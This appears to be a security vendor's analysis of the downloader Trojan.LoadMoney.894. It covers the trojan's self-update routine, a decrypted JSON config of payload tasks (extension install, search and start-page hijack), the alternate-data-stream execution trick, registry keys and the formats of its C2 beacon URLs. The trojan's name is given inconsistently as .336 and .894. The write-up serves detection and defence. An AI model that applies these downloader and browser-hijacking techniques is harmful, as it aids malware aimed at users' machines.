SHA1 fdd522b5719eac0d622a91a66ea2e608507a77a3
The Trojan is distributed by means of Trojan.LoadMoney.336. It uses the following libraries:
- boost,
- libcurl (7.34.0),
- jsoncpp.
Path to PDB: G:\autobuild\browser-tools-guard\output\Release\nethost.pdb; file name with Winmain is guard.cpp.
Once launched, the Trojan extracts configuration data from its body and reads it. Then it creates %LOCAL_APPDATA%\SystemDir which will be used as a working folder. Next, Trojan.LoadMoney.894 runs a search for the %EXENAME%:tmp and %EXENAME%.tmp files (however, it should be noted that Trojan.LoadMoney.336 can operate even without these files). If any problems occur during this search, the malicious program uses two following debugging lines: “installer not found” and “error opening file installer file #”. If the Trojan is launched without command-line parameters, it starts looking for browser shortcuts. If the start page URL is specified in the shortcut properties, the malicious program deletes it.
After that, the Trojan sends its command and control server the nethost_online and nethost_data requests and tries to update itself. This procedure is repeated after specified time intervals. During this process, the Trojan extracts from its body the list of URLs to download its latest version and updates. The malicious program compares the version that it gets from the server with the one from its body and, based on the result, decides whether to update itself or not. First, the Trojan sends the server a HEAD request and then a GET request when the version and updates are received. The updated executable file is saved under the nethost_update.exe name to %LOCAL_APPDATA%\SystemDir\. Once the download is complete, Trojan.LoadMoney.894 runs the updated version with the –update key and terminates its own work.
After the Trojan updates itself, it deletes nethost.exe.bkp and nethost_update.exe and starts retrieving the payload. For that, it extracts the URL of the host bearing the payload and downloads from it an encrypted file. Then the Trojan decrypts the file and searches it for the URL to get the configuration data from. The received URL, which is encrypted, the malware saves to the registry and later uses the configuration data from the registry. From this URL, the Trojan downloads a file, which looks as follows once it is decrypted:
{
"updateurl":"http:\/\/****.ru\/nethost.exe",
"updateversion":"1.0.0.211",
"tasks":[
{
"name":"extension",
"period":604800,
"params":"--source=\"http:\/\/****\/vklike.crx\" --install_url=\"http:\/\/****.ru\/?guid=$__GUID&sig=$__SIG&ovr=$__OVR&default=$__DEFAULT&browser=$__BROWSER\" --reinstall browsers=chrome --sha256=3395ad4b8fe61028a2cb01f7e3f7ca969e7b7eea28c30e9db3d2ad939b010217",
"url":"http:\/\/*****.ru\/chrome_extension.exe",
"md5sum":"a6ac299ceb031166af51503f5f12fe94"
},
{
"name":"setsearchm",
"period":7200,
"params":"--nowait",
"url":"http:\/\/*****.ru\/setsearchm.exe",
"md5sum":"94cac3bc69c520c96408a6cec3c8f0f7",
"period_domain":86400,
"period_json":7200
},
{
"name":"startpm",
"period":9000,
"params":"--spec=\"lnaqrk.eh,ln.eh,tb.znvy.eh,jjj.lnaqrk.eh,jjj.ln.eh,znvy.eh\" --nowait --url=\"http:\/\/****.ru\/?utm_content=4236780127a23859cd9e34e0c8c59fd7&utm_source=startpm&utm_term=$__MID\" --sha256=0e2257a3f00f5873b764ef80d95cb3343ca66bc032de76b39a5c3f62860e8d9f",
"url":"http:\/\/****.ru\/start_page.exe",
"md5sum":"a6ac299ceb031166af51503f5f12fe94"
}
]
}The payload is retrieved as follows: first, the Trojan sends a HEAD request with the range: "bytes=2-" parameter, then a similar GET request. Most likely, this method is used to make detection of applications downloaded by the Trojan more difficult. Once the payload is retrieved, the malicious program replicates itself to %TEMP% with the name of the current task (in our case, it is extension.exe), generates an alternative thread with the :tmp name, and includes to this thread the downloaded file without the first two bytes. Using parameters from the configuration file, the Trojan launches its copy from the %TEMP% folder. Then the malware reads the thread, allocates memory for it, and transfers control to the entry point.
Command line
The following arguments can be used:
- --afterupdate—removes nethost.exe.bkp and nethost_update.exe from the working folder;
- --install_url;
- --update—renames %LOCAL_APPDATA%\SystemDir\nethost.exe to nethost.exe.bkp, copies %LOCAL_APPDATA%\SystemDir\nethost_update.exe to nethost.exe and runs it with --afterupdate; then terminates the working process;
- --setup.
Resources
The Trojan stores a part of its configuration data in resources encrypted with XOR. The following information is stored there:
- URL to an update (in JSON)
- URL to the latest version (in JSON)
- URL to a configuration file with the payload
Registry
The Trojan uses HKLM\Software\nethost to store its data. In particular, the following parameters are used:
- LastOnlineEvent—timestamp of the last connection session with the server via nethost_online,
- lastUpdated—timestamp of the Trojan's last update,
- specialValue—encrypted URL to a configuration file with the payload,
- specialValueChonos—timestamp of specialValue.
Network activity
The Trojan can send requests of several types that differ in the “action” parameter.
nethost_online
Most likely, it is used to send the server the “I am alive” status. Standard reply is “OK\r”.
HEAD request to a URL can look as follows: http://g.***.ru/?prod=nethost&version=1.0.0.211&action=nethost_online&guid=*****&mid=*******&os=5.1&bit=32&sig=****
- prod—value taken from the Trojan's body,
- version—value taken from the Trojan's body,
- guid—MD5 hash calculated using SID and a number of the first partition of the hard disk,
- mid—copy of guid,
- os—Windows version,
- bit—bit count of the environment,
- sig—“signature” of the URL (MD5 hash of the whole URL).
nethost_data
Standard reply is “OK\r”.
HEAD request to a URL can look as follows: http://g.***.ru/?prod=nethost&version=1.0.0.211&action=nethost_data&guid=*****&mid=****&os=5.1&bit=32&sig=****&gmr=0&mru=0&ypr=0&ymr=0&default=ie&startpage=url&starturl=&search=default
Parameters are similar to nethost_online. However, several new parameters are added:
- gmr (0/1)—the guardmailru.exe process,
- mru (0/1)—the mailruupdater.exe process,
- ypr (0/1)—the praetorian.exe process,
- ymr (0/1)—the BrowserManager.exe process,
- default—default browser,
- startpage—browser start page,
- starturl—start page URL,
- search—default search engine.